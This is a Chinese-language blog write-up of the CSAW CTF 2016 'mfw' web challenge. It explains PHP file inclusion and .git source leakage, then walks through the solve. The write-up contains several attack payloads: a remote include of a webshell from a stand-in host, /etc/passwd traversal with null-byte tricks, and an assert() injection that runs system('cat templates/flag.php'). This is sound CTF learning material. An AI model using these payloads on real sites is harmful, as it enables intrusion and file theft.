# CSAW CTF 2016 mfw Writeup

原创

weixin_43622501 于 2019-03-31 22:07:40 发布 903 收藏

分类专栏： WEB-WP 文章标签： WP



本文链接：https://blog.csdn.net/weixin_43622501/article/details/88936759





## CSAW CTF 2016 mfw Writeup

### 0x01 需要知道的##

1. 本地文件包含
2. git源码泄露

### 0x02 本地文件包含

来自维基百科的解释：

In PHP the main cause is due to the use of unvalidated user-input with a filesystem function that includes a file for execution.

---

** most notable are the include and require statements.**

---

Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has a directive which, if enabled,

---

** allows filesystem functions to use a URL to retrieve data from remote locations**.[1]

---

The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default.[2] To exploit the vulnerability an attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource.

---

** To mitigate this vulnerability all user input needs to be validated before being used.**

大体意思就是说使用了 include 和 require 的代码可能会因为代码的质量不好，没有对传入的变量进行检测，导致允许远程主机使用URL里的恶意代码从文件系统里获取到敏感文件信息。

Example：

```
<?php
 if ( isset( $_GET['language'] ) ) {
  include( $_GET['language'] . '.php' );
 }
?>
<form method="get">
<select name="language">
   <option value="english">English</option>
   <option value="french">French</option>
   ...
</select>
<input type="submit">
</form>
```

以下是payload:

```
/vulnerable.php?language=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a mal
icious code (remote file include)
/vulnerable.php?language=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.p
hp (local file inclusion vulnerability)
/vulnerable.php?language=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowin
g access to files other than .php. This use of null byte injection was patched in PHP 5.3, and can no longer be
used for LFI/RFI attacks.[5]
/vulnerable.php?language=../../../../../etc/passwd%00 - allows an attacker to read the contents of the /etc/pass
wd file on a Unix system through a directory traversal attack.
```

## 0x03 git源码泄露

使用git在初始化代码库的时候，会在当前目录下产生一个.git的隐藏目录，用来记录代码的变更等。同时使用这个文件可以恢复各个版本的代码，所以如果.git文件可以访问，就可能泄露了源代码。

## 0x04 题目

查看源码，发现可能的漏洞

于是我们尝试用文件包含来获取密码信息

```
http://111.198.29.45:31930/?page=../../../../../etc/passwd
```

发现被过滤了。flag页面可能作为隐藏变量了。

看到about页面说使用了git

想到.git源码泄露，访问.git文件，发现可以访问

我们使用 工具GitHack将网站源码clone下来。

> https://github.com/lijiejie/GitHack

GitHack的工作原理是

> GitHack是一个.git泄露利用脚本，通过泄露的.git文件夹下的文件，重建还原工程源代码。
> 渗透测试人员、攻击者，可以进一步审计代码，挖掘：文件上传，SQL注射等web安全漏洞。

使用命令：

```
>python2 GitHack.py http://111.198.29.45:31930/.git/
```

在flag.php文件中只有：

```
<?php
// TODO
// $FLAG = '';
?>
```

没什么帮助，去index.php里查看：

```
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
 $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
```

这里需要注意的是出现的这几个函数

strops:
返回字符串在另一字符串中第一次出现的位置，如果没有找到字符串则返回 FALSE.

assert:**如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。
**

又看到代码对输入的page变量没有检测，这就是说我们有机会对其改造，使其执行系统命令。
下面是大神的payload:

```
flag','..')+or+system('cat+templates/flag.php');//
```

注意到assert语句里的strops是单引号，我们就将其闭合，并执行系统命令获取flag.php文件内容，同时将后面的die语句注释掉。

大神就是大神！